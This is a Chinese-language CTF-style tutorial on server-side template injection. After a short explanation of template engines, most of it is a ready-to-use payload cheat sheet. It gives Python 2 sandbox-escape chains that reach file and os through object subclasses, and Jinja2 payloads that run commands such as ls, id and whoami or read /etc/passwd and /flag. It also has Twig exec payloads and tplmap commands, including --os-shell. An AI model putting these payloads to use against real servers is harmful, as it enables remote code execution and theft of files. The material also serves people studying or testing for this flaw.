模板注入
模板注入的概念
模板引擎是為了使用戶界面與業(yè)務(wù)數(shù)據(jù)(內(nèi)容)分離而產(chǎn)生的,它可以生成特定格式的文檔,用于網(wǎng)站的模板引擎就會(huì)生成一個(gè)標(biāo)準(zhǔn)的文檔,就是將模板文件和數(shù)據(jù)通過(guò)模板引擎生成一個(gè)HTML代碼。
通常來(lái)說(shuō),這類問(wèn)題會(huì)在博客,CMS,wiki 中產(chǎn)生。雖然模板引擎會(huì)提供沙箱機(jī)制,攻擊者依然有許多手段繞過(guò)它。和常見(jiàn)Web注入的成因一樣,也是服務(wù)端接收了用戶的輸入,將其作為 Web 應(yīng)用模板內(nèi)容的一部分,在進(jìn)行目標(biāo)編譯渲染的過(guò)程中,執(zhí)行了用戶插入的惡意內(nèi)容,因而可能導(dǎo)致了敏感信息泄露、代碼執(zhí)行、GetShell 等問(wèn)題。其影響范圍主要取決于模版引擎的復(fù)雜性。
示例1:定義一個(gè)模板,例如
<html>
<div>{$what}</div>
</html>
這只是一個(gè)模板。{$what}是數(shù)據(jù)。此時(shí)不知道數(shù)據(jù)是什么。
如果我想html里面成為
<div>peiqi</div>
渲染到html代碼里,渲染完成后
<html>
<div>peiqi</div>
</html>
模板引擎
模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,F(xiàn)reemaker和Twig,注意不同的語(yǔ)言對(duì)應(yīng)的模板:

解題步驟
先判斷漏洞點(diǎn):關(guān)注參數(shù)位置
判斷模板引擎,根據(jù)下面的圖測(cè)試一下
找對(duì)應(yīng)的payload

python2_任意執(zhí)行
- 獲取基類
''.__class__.__mro__[-1]
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__
- 獲取基類的子類
[].__class__.__base__.__subclasses__()
從這么多的子類中找出可以利用的類(一般是指讀寫(xiě)文件的類)加以利用
-
利用子類
我們可以利用的方法有<type 'file'>等。(甚至file一般是第40號(hào))
#存在的子模塊可以通過(guò) .index()方式來(lái)查詢
''.__class__.__mro__[2].__subclasses__().index(file)
# 用file模塊來(lái)查詢
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
可以直接調(diào)用system函數(shù),有了shell其他的問(wèn)題不就解決了嗎?
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
某些情況下system函數(shù)會(huì)被過(guò)濾。這時(shí)候也可以采用os模塊的listdir函數(shù)來(lái)讀取目錄。
#讀取本級(jí)目錄
().__class__.__base__.__subclasses__() [71].__init__.__globals__['os'].listdir('.')
另外在某些不得已的情況下可以使用以下方式來(lái)讀取文件。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
SSTI
# 常用payload集合
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Tqlmap
Tplmap是一個(gè)python工具,可以通過(guò)使用沙箱轉(zhuǎn)義技術(shù)找到代碼注入和服務(wù)器端模板注入(SSTI)漏洞。該工具能夠在許多模板引擎中利用SSTI來(lái)訪問(wèn)目標(biāo)文件或操作系統(tǒng)。適用于有參數(shù)的注入
python tplmap.py -u http://xxxx/* (無(wú)參數(shù))
python tplmap.py -u http://xxxx?name=1 (有參數(shù))
python tplmap.py -u url --os-shell (獲取shell)
參考資料
https://www.cnblogs.com/wuhongbin/p/14281708.html